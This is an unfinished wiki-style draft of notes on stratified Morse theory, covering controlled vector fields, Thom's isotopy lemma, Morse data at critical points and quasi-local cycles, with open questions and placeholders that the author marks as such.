We prove that if &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is a controlled submersion then, for any smooth vector field &lt;math display=&quot;inline&quot;&gt;\zeta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;\R&lt;/math&gt; there is a controlled vector field &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;h_* \eta(v) = \zeta(h(v))&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

Proceeding by induction on the maximum dimension of the strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, we define &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; to be the union of strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; of dimension at most &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;. The tubular neighbourhood of &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; is the intersection of the tubular neighbourhoods of each strata in &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; with &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;. The projection and distance functions are the restrictions of the respective functions of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;.

It is trivially true when the maximum dimension of strata in &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; is zero. Assume it is true for &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt; and construct each &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; separately for each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of dimension &lt;math display=&quot;inline&quot;&gt;k + 1&lt;/math&gt;.

By the assumption that we have controlled vector fields for all strata &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt; of dimension at most &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;, we have the two control conditions defined above for any &lt;math display=&quot;inline&quot;&gt;X &gt; Y&lt;/math&gt; and that there is a neighbourhood &lt;math display=&quot;inline&quot;&gt;T^1_Y&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;h(v) = h \pi_Y(v)&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;v \in T^1_Y&lt;/math&gt;.

We want to prove that for all &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt;, the control conditions are satisfied for all &lt;math display=&quot;inline&quot;&gt;v \in T^2_Y&lt;/math&gt; and that &lt;math display=&quot;inline&quot;&gt;h_*\eta_X(v) = \zeta(v)&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in X&lt;/math&gt;.

Take a point &lt;math display=&quot;inline&quot;&gt;x \in X&lt;/math&gt; and define the set &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; of strata &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;v \in T^2_Y&lt;/math&gt;. &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; is totally ordered since if &lt;math display=&quot;inline&quot;&gt;Y_1&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;Y_2&lt;/math&gt; are not comparable then &lt;math display=&quot;inline&quot;&gt;T^2_{Y_1} \cap T^2_{Y_2} = \empty&lt;/math&gt;. Therefore, there is a largest member &lt;math display=&quot;inline&quot;&gt;Y = Y_v&lt;/math&gt;.

Assume the control conditions hold for &lt;math display=&quot;inline&quot;&gt;Y = Y_v&lt;/math&gt;. Then they hold for all &lt;math display=&quot;inline&quot;&gt;Y_i \in S_v&lt;/math&gt;. For, either &lt;math display=&quot;inline&quot;&gt;Y_i = Y&lt;/math&gt; or &lt;math display=&quot;inline&quot;&gt;Y_i &lt; Y&lt;/math&gt;. In the latter case, &lt;math display=&quot;inline&quot;&gt;\pi_Y(v) \in T^1_{Y_i}&lt;/math&gt; (by the choice of &lt;math display=&quot;inline&quot;&gt;T^2_Y&lt;/math&gt;'s [is this why?]. Then

&lt;math display=&quot;block&quot;&gt;\begin{align}
\eta_X(v) \rho_{Y_i,X}(v) &amp;= \eta_X \rho_{Y_i,Y} \pi_{Y,X}(v) \\
&amp;= (\pi_{Y,X})_* \eta_X(v) \rho_{Y_i,Y} \\
&amp;= \eta_Y(\pi_{Y,X}(v)) \rho_{Y_i,Y} \\
&amp;= 0
\end{align}&lt;/math&gt;

and

&lt;math display=&quot;block&quot;&gt;\begin{align}
(\pi_{Y_i,X})_* \eta_X(v) &amp;= (\pi_{Y_i,Y})_* (\pi_{Y,X})_* \eta_X(v) \\
&amp;= (\pi_{Y_i,Y})_* \eta_Y(v) (\pi_{Y,X}) \\
&amp;= \eta_{Y_i}(\pi_{Y_i,Y} \pi_{Y,X}(v)) \\
&amp;= \eta_{Y_i}(\pi_{Y_i,X}(v))
\end{align}&lt;/math&gt;

and, therefore, condition holds for all &lt;math display=&quot;inline&quot;&gt;Y_i \in S_v&lt;/math&gt;. Also,

&lt;math display=&quot;block&quot;&gt;\begin{align}
h_* \eta_X(v) &amp;= (h \circ \pi_{Y,X})_* \eta_X(v) \\
&amp;= h_* \eta_Y (\pi_{Y,X}(v)) \\
&amp;= \zeta(f(v))
\end{align}&lt;/math&gt;

and, therefore, the conclusion of the theorem holds at &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt;.

This shows we can construct &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; satisfying the control conditions when &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; is non-empty and satisfying the theorem when &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; is empty. The set of vectors satisfying these conditions is convex in &lt;math display=&quot;inline&quot;&gt;TX_v&lt;/math&gt;, and so we construct &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; globally via a partition of unity.&lt;ref&gt;Mather 2012, pp. 493-495.&lt;/ref&gt;

Finally, we prove that a controlled vector field has a unique one-parameter family of homeomorphisms of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; which commute with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, this combines Proposition 10.1 and Corollary 10.2 on pp. 496 and 497, respectively.&lt;/ref&gt;

For each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; generates a unique smooth local one-parameter group &lt;math display=&quot;inline&quot;&gt;(J_X, \alpha_X)&lt;/math&gt; of diffeomorphisms of &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; (by standard results of differential geometry), such that &lt;math display=&quot;inline&quot;&gt;\frac{d}{dt} \alpha(t, v)|_{t=0} = \eta_X(v)&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;J_X&lt;/math&gt; is an open subset of &lt;math display=&quot;inline&quot;&gt;\R \times Z&lt;/math&gt;, ...

If we define &lt;math display=&quot;inline&quot;&gt;(J, \alpha)&lt;/math&gt; by

&lt;math display=&quot;block&quot;&gt;J = \bigcup_{X \in S} J_X&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\alpha = \bigcup_{X \in S} \alpha_X&lt;/math&gt;

we can prove that this is a local one-parameter family of homeomorphisms.&lt;ref&gt;Mather 2012, pp. 496.&lt;/ref&gt;

Firstly, it is clear that
# &lt;math display=&quot;inline&quot;&gt;0 \times Z \subseteq J&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\alpha(0, v) = v&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;.
# If &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;J_v = J \cap (\R \times v) \subseteq \R&lt;/math&gt; is an open interval &lt;math display=&quot;inline&quot;&gt;(a_v, b_v)&lt;/math&gt;, possibly infinite at one or both ends.
# If &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;t, s, t + s&lt;/math&gt; are in &lt;math display=&quot;inline&quot;&gt;(a_v, b_v)&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;\alpha(t + s, v) = \alpha(t, \alpha(s, v))&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 495.&lt;/ref&gt;

Secondly, it is clear that &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; generates &lt;math display=&quot;inline&quot;&gt;\alpha&lt;/math&gt; because
# Each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; is invariant under &lt;math display=&quot;inline&quot;&gt;\alpha&lt;/math&gt;, i.e. &lt;math display=&quot;inline&quot;&gt;\alpha[J \cap (\R \times X)] \subseteq X&lt;/math&gt;.
# For each &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;, the map &lt;math display=&quot;inline&quot;&gt;t \to \alpha(t, v)&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;(a_v, b_v)&lt;/math&gt; into the stratum which contains &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt; is &lt;math display=&quot;inline&quot;&gt;C^1&lt;/math&gt;.
# For any &lt;math display=&quot;inline&quot;&gt;(t, v) \in Z&lt;/math&gt;(?) we have &lt;math display=&quot;inline&quot;&gt;d/dt \alpha(t, v) = \eta(\alpha(t, v))&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 495.&lt;/ref&gt;

It is unique because each &lt;math display=&quot;inline&quot;&gt;(J_X, \alpha_X)&lt;/math&gt; is unique. We just need to prove that &lt;math display=&quot;inline&quot;&gt;J&lt;/math&gt; is open, &lt;math display=&quot;inline&quot;&gt;\alpha&lt;/math&gt; is continuous, and for any &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt; and any compact set &lt;math display=&quot;inline&quot;&gt;K \subseteq Z&lt;/math&gt; there exists &lt;math display=&quot;inline&quot;&gt;\epsilon &gt; 0&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\alpha(t, v) \notin K&lt;/math&gt; if &lt;math display=&quot;inline&quot;&gt;t \in (a_v, a_v + \epsilon) \cup (b_v - \epsilon, b_v)&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 495.&lt;/ref&gt;

For the latter-most condition, if it did not hold then there exists...&lt;ref&gt;Mather 2012, pp. 496-497.&lt;/ref&gt;

We prove there is a homeomorphism &lt;math display=&quot;inline&quot;&gt;f: Z \to h^{-1}(0) \times \R&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\pi \circ f = h&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\pi: h^{-1}(0) \times \R \to \R&lt;/math&gt; is projection to the second factor.

For the coordinate vector field &lt;math display=&quot;inline&quot;&gt;\partial&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;\R&lt;/math&gt;, by [prop 9.1] there is a controlled vector field &lt;math display=&quot;inline&quot;&gt;\tilde\partial&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;f_* \tilde\partial(v) = \partial(h(v))&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;. By [prop 10.1], &lt;math display=&quot;inline&quot;&gt;\tilde\partial&lt;/math&gt; generates a local one-parameter group &lt;math display=&quot;inline&quot;&gt;(J, \alpha)&lt;/math&gt; such that

&lt;math display=&quot;block&quot;&gt;h(\alpha(t,v)) = h(v) + t&lt;/math&gt;

&lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is proper and [d] holds, so &lt;math display=&quot;inline&quot;&gt;J = \R \times Z&lt;/math&gt;. If we define &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; as

&lt;math display=&quot;block&quot;&gt;f(v) = (\alpha(-t, v), h(v))&lt;/math&gt;

then &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; maps &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; into &lt;math display=&quot;inline&quot;&gt;h^{-1}(0) \times \R&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi \circ f = h&lt;/math&gt;. If we define &lt;math display=&quot;inline&quot;&gt;\bar f: h^{-1}(0) \times \R \to Z&lt;/math&gt; as

&lt;math display=&quot;block&quot;&gt;\bar f(v, t) = \alpha(t, v)&lt;/math&gt;

then &lt;math display=&quot;inline&quot;&gt;f \bar f = \bar f f = Id&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; is a homeomorphism.&lt;ref&gt;Mather 2012, pp. 497.&lt;/ref&gt;

== Topology at critical points ==

Theorem: If there is a critical point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in the singular variety &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt; with critical value &lt;math display=&quot;inline&quot;&gt;v \in (a, b)&lt;/math&gt; then the space &lt;math display=&quot;inline&quot;&gt;X_{\leq b}&lt;/math&gt; is homotopic to&lt;ref&gt;Goresky and MacPherson 1988, pp. 174.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;X_{\leq a} \cup [(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)].&lt;/math&gt;

Proof:&lt;ref&gt;Proof outline comes from Goresky and MacPherson 1988, pp. 174.&lt;/ref&gt;
# &lt;math display=&quot;inline&quot;&gt;(X_{\leq b}, X_{\leq a})&lt;/math&gt; is homeomorphic to &lt;math display=&quot;inline&quot;&gt;(X_{\leq v + \epsilon}, X_{\leq v -\epsilon})&lt;/math&gt;. We can prove this by &quot;moving wall&quot; or Thom's Isotopy Lemma.&lt;ref&gt;Goresky and MacPherson 1988, pp. 90-91, 120.&lt;/ref&gt;
# &lt;math display=&quot;inline&quot;&gt;X_{\leq v + \epsilon}&lt;/math&gt; is homeomorphic to &lt;math display=&quot;inline&quot;&gt;X_{\leq v - \epsilon} \cup (J, K)&lt;/math&gt;, where the latter is the local Morse data for &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;. We do this by moving the wall...&lt;ref&gt;Goresky and MacPherson 1988, pp. 95-96, 120-121.&lt;/ref&gt;
# &lt;math display=&quot;inline&quot;&gt;(J, K)&lt;/math&gt; is homeomorphic to &lt;math display=&quot;inline&quot;&gt;(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)&lt;/math&gt; (tangential data, normal data). Again, moving the wall...&lt;ref&gt;Goresky and MacPherson 1988, pp. 65-66, chapter 8, 121.&lt;/ref&gt;
# The normal Morse data depends only on the differential &lt;math display=&quot;inline&quot;&gt;df(p)&lt;/math&gt;.&lt;ref&gt;Goresky and MacPherson 1988, pp. 93.&lt;/ref&gt;
# The normal Morse data has the homotopy type of &lt;math display=&quot;inline&quot;&gt;(\mathcal{L}_X, \partial \mathcal{L}_X)&lt;/math&gt;.&lt;ref&gt;Goresky and MacPherson 1988, pp. 169.&lt;/ref&gt;

=== Step 1 ===

We get this immediately(?) by Thom's Isotopy Lemma.

=== Step 2 ===

&lt;ref&gt;Goresky and MacPherson 1988, complex case on pp. 120-121 is extension of real case on pp. 95-96.&lt;/ref&gt;

== Morse theory ==

Steps(?)
* Explain topology
* Every point of a stratum is locally like a product structure (proved by Thom's Isotopy Lemma) [GM pp. 41-42]
** Including those around critical points, which are the product of normal and tangential Morse data (these are our quasi-local cycles?)
* Thom's Isotopy Lemma proves a strong deformation retraction (which only stops at critical points) [PWM pp. 541-542]

=== Homotopy ===

We want to replace our domain of convergence &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt;, which is the complement of our singular variety &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt;, with an &quot;equivalent&quot; space &lt;math display=&quot;inline&quot;&gt;M'&lt;/math&gt; which has better understood properties. We say &quot;equivalent&quot; because there are several different things we could mean by &quot;equivalent&quot; in this context. The equivalence we are referring to in this section is called '''homotopy'''.

Imagine two subspaces &lt;math display=&quot;inline&quot;&gt;\gamma_0&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\gamma_1&lt;/math&gt; of a space &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt; which are defined respectively by smooth functions &lt;math display=&quot;inline&quot;&gt;f, g: X \to Y&lt;/math&gt;. If there exists a smooth function &lt;math display=&quot;inline&quot;&gt;h_s: X \times [0, 1] \to Y&lt;/math&gt;, called a homotopy, such that &lt;math display=&quot;inline&quot;&gt;h_0 = f&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;h_1 = g&lt;/math&gt; and for any &lt;math display=&quot;inline&quot;&gt;\epsilon &gt; 0&lt;/math&gt; there exists a &lt;math display=&quot;inline&quot;&gt;\delta_a&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\delta_b&lt;/math&gt; such that when &lt;math display=&quot;inline&quot;&gt;|s - s_0| &lt; \delta_a&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;|x - x_0| &lt; \delta_b&lt;/math&gt; we have &lt;math display=&quot;inline&quot;&gt;|h_s(x) - h_{s_0}(x_0)| &lt; \epsilon&lt;/math&gt;, then we say &lt;math display=&quot;inline&quot;&gt;\gamma_0&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\gamma_1&lt;/math&gt; are '''homotopic'''.&lt;ref&gt;Henle 1979, pp. 251-252.&lt;/ref&gt;

Below is an example where &lt;math display=&quot;inline&quot;&gt;\gamma_0&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\gamma_1&lt;/math&gt; are one-dimensional curves and &lt;math display=&quot;inline&quot;&gt;H(t, s) = h_s(t)&lt;/math&gt;.

[[File:Homotopy_curves.png|300px]]

In [[#Homotopy_equivalence|Appendix A]], we formally prove that we can construct an equivalent space &lt;math display=&quot;inline&quot;&gt;M'&lt;/math&gt;. We provide only an example to give some intuition before describing how to construct the space &lt;math display=&quot;inline&quot;&gt;M'&lt;/math&gt; in terms of local cycles around critical points.

=== Motivating example ===

Imagine a torus and a height function which is just the z value of the point.

[[File:3D-Leveltorus.png|200px]]

It has four critical points: two at the top and bottom of the outer circle (&lt;math display=&quot;inline&quot;&gt;p_1, p_4&lt;/math&gt;) and two at the top and bottom of the inner circle (&lt;math display=&quot;inline&quot;&gt;p_2, p_3&lt;/math&gt;).

[picture]

When the height is between the &lt;math display=&quot;inline&quot;&gt;p_1&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;p_2&lt;/math&gt;, the space is a two-cell, which can be retracted to a point.

[picture]

When the height is between &lt;math display=&quot;inline&quot;&gt;p_2&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;p_3&lt;/math&gt;, the space is a cylinder, which can be retracted to a two-cell with a one-cell attached.

[[File:3D-Cylinder_and_disk_with_handle.png|200px]]

When the height is between &lt;math display=&quot;inline&quot;&gt;p_3&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;p_4&lt;/math&gt;, the space is a torus with a disc removed, which can be retracted to a cylinder with a one-cell attached.

[[File:3D-Cylinder_with_handle_and_torus_with_hole.png|200px]]

When the height is greater than &lt;math display=&quot;inline&quot;&gt;p_4&lt;/math&gt;, then the full torus is constructed by attaching a two-cell.

[Explain in terms of Morse data and Morse index?]

=== Morse data and quasi-local cycles ===

As in the above example, we start at the &quot;bottom&quot; of &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; and build upwards until just before we reach our first critical point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.

;Smooth points
:This is a tube around a &lt;math display=&quot;inline&quot;&gt;(d-1)&lt;/math&gt;-chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt; where the height function &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is maximised at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 223.&lt;/ref&gt;
:For example, if &lt;math display=&quot;inline&quot;&gt;F(x, y) = \frac{1}{1 - x - y}&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;\lambda = 1&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;B^\lambda&lt;/math&gt; is an arc reaching its highest point at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.
:The normal plane &lt;math display=&quot;inline&quot;&gt;N&lt;/math&gt; at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; is a plane orthogonal to &lt;math display=&quot;inline&quot;&gt;B^1&lt;/math&gt;(?).
:Its normal link &lt;math display=&quot;inline&quot;&gt;L(S)&lt;/math&gt; is a circle with two points missing where it intersects &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt;.
:We make our quasi-local cycle out of the product of the arc and circle joined to &lt;math display=&quot;inline&quot;&gt;M_-&lt;/math&gt; at points below &lt;math display=&quot;inline&quot;&gt;M_-&lt;/math&gt;.
:With the exception of degenerate points, such as monkey saddles...&lt;ref&gt;e.g. Pemantle, Wilson and Melczer 2024, pp. 211.&lt;/ref&gt;

;Transverse multiple points
:This is the product of a &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;-torus and a &lt;math display=&quot;inline&quot;&gt;(d-k)&lt;/math&gt;-chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt;. The torus is the product of circles about &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in the complex normal space to each strata which intersects &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;. The chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt; is supported in the stratum which is the common intersection of the varieties defined by the factors vanishing at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;, and achieves its maximum height at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 223-224.&lt;/ref&gt;

;Arrangement multiple point
:This is the product of a &lt;math display=&quot;inline&quot;&gt;(d-k)&lt;/math&gt;-chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt; and several &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;-tori, one for each pair of sheets which intersect transversely, where the torus is the product of circles about &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in each sheet.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 226.&lt;/ref&gt;

;Cone point
:A cone point is zero-dimensional so there is no &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt;, just a &lt;math display=&quot;inline&quot;&gt;d&lt;/math&gt;-torus about &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 227.&lt;/ref&gt;

== Appendix ==

=== Homotopy equivalence ===

[Assuming no CVAI...]

Theorem:
# Homotopy equivalence between M_{\leq a} and M_{\leq b}...
# If in a range &lt;math display=&quot;inline&quot;&gt;[a, b]&lt;/math&gt; there are no CVAI and only one critical value &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;, not equal to either &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; or &lt;math display=&quot;inline&quot;&gt;b&lt;/math&gt;, with one or more critical points &lt;math display=&quot;inline&quot;&gt;z_1, \cdots, z_m&lt;/math&gt; then there is a stratified flow deforming any chain in &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; to a (homotopic?) chain in the union of &lt;math display=&quot;inline&quot;&gt;M_{&lt;c}&lt;/math&gt; with sufficiently small balls around each critical point. This induces a homotopy between &lt;math display=&quot;inline&quot;&gt;(M_{c+\epsilon}, M_{c-\epsilon})&lt;/math&gt; and the direct sum of &lt;math display=&quot;inline&quot;&gt;(M_{c-\epsilon} \cup B_{2\epsilon}(z_i), M_{c-\epsilon})&lt;/math&gt; for each critical point &lt;math display=&quot;inline&quot;&gt;z_i&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 231.&lt;/ref&gt;

The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in a space, a '''vector''', which can be represented by an arrow whose tail starts at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Henle 1979, pp. 33.&lt;/ref&gt;

[picture]

Imagine we have a vector field &lt;math display=&quot;inline&quot;&gt;v(x)&lt;/math&gt; defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This &quot;flows&quot; the entire line along the vectors.

We can (potentially) define a function to implement this flow. Define &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; where &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; are points in the space and &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; is something like time. As &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; goes from zero to some positive number, &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; moves the points &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; along the vectors. To describe this process formally, we say &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; is the solution to the differential equation

&lt;math display=&quot;block&quot;&gt;\frac{d}{dt} \Phi(x, t) = v(x).&lt;/math&gt;

We want a particular vector field &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt; with certain properties... The proof of the existence of this vector field is long and complicated and we will not go into it here.&lt;ref&gt;It involves concepts such as Thom's isotopy lemma and Mather's controlled vector flows. See Mather 2012.&lt;/ref&gt;

Using this vector field &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt; but modified so as to be zero on &lt;math display=&quot;inline&quot;&gt;M_{\leq a}&lt;/math&gt;. This vector field defines a function &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; such that
* &lt;math display=&quot;inline&quot;&gt;d/dt \Phi(x, t) = v(x)&lt;/math&gt; when &lt;math display=&quot;inline&quot;&gt;h(x) \in (a, b]&lt;/math&gt;.
* &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; is defined for &lt;math display=&quot;inline&quot;&gt;0 \leq t \leq h(x) - a&lt;/math&gt; and in this range &lt;math display=&quot;inline&quot;&gt;h(\Phi(x, t)) = h(x) - t&lt;/math&gt;.
* the map &lt;math display=&quot;inline&quot;&gt;\psi(x) = \Phi(x, b - a)&lt;/math&gt; is a continuous map on &lt;math display=&quot;inline&quot;&gt;M_{\leq b}&lt;/math&gt; with range (image?) &lt;math display=&quot;inline&quot;&gt;M_{\leq a}&lt;/math&gt; and fixing &lt;math display=&quot;inline&quot;&gt;M_{\leq a}&lt;/math&gt;.

The function &lt;math display=&quot;inline&quot;&gt;\Phi(x, 0)&lt;/math&gt; is the identity on &lt;math display=&quot;inline&quot;&gt;M_{\leq b}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\Phi(x, b - a) = \psi(x)&lt;/math&gt;, therefore &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; in the range &lt;math display=&quot;inline&quot;&gt;[0, b - a]&lt;/math&gt; is a homotopy between the identity on &lt;math display=&quot;inline&quot;&gt;M_{\leq b}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\psi&lt;/math&gt;. This implies 1)???&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 233.&lt;/ref&gt;

Define the distance from a critical point &lt;math display=&quot;inline&quot;&gt;\kappa(x) = \min\{ |x - z_i| : z_1, \cdots, z_m \}&lt;/math&gt;. For &lt;math display=&quot;inline&quot;&gt;s &gt; 0 &lt;/math&gt; we define a new vector field

&lt;math display=&quot;block&quot;&gt;v_s(x) = \begin{cases}
v(x) &amp; \kappa(x) \geq s \\
\rho(\kappa(x)) v(x) &amp; \kappa(x) \in [s/2, s] \\
0 &amp; \kappa(x) \leq s/2
\end{cases}&lt;/math&gt;

for a smooth non-decreasing function &lt;math display=&quot;inline&quot;&gt;\rho&lt;/math&gt; where &lt;math display=&quot;inline&quot;&gt;\rho(s/2) = 0&lt;/math&gt;.

Define &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; as the function such that &lt;math display=&quot;inline&quot;&gt;d/dt \Phi(x, t)_s = v_s(x)&lt;/math&gt;. The height function &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is non-increasing along &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; (by implication of bullet point 2?) so points in &lt;math display=&quot;inline&quot;&gt;M_{\leq c-\epsilon}&lt;/math&gt; stay in &lt;math display=&quot;inline&quot;&gt;M_{\leq c - \epsilon}&lt;/math&gt; when flowed along &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; and therefore &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; is a homotopy equivalence between &lt;math display=&quot;inline&quot;&gt;(M_{\leq c+\epsilon}, M_{\leq c-\epsilon})&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;(\Phi(M_{\leq c+\epsilon}, 2\epsilon), M_{\leq c-\epsilon})&lt;/math&gt;. By &lt;math display=&quot;inline&quot;&gt;\Phi(M_{\leq c+\epsilon}, 2\epsilon)&lt;/math&gt; we mean the space &lt;math display=&quot;inline&quot;&gt;M_{\leq c+\epsilon}&lt;/math&gt; flowed along &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; for a short period of time &lt;math display=&quot;inline&quot;&gt;2\epsilon&lt;/math&gt;.

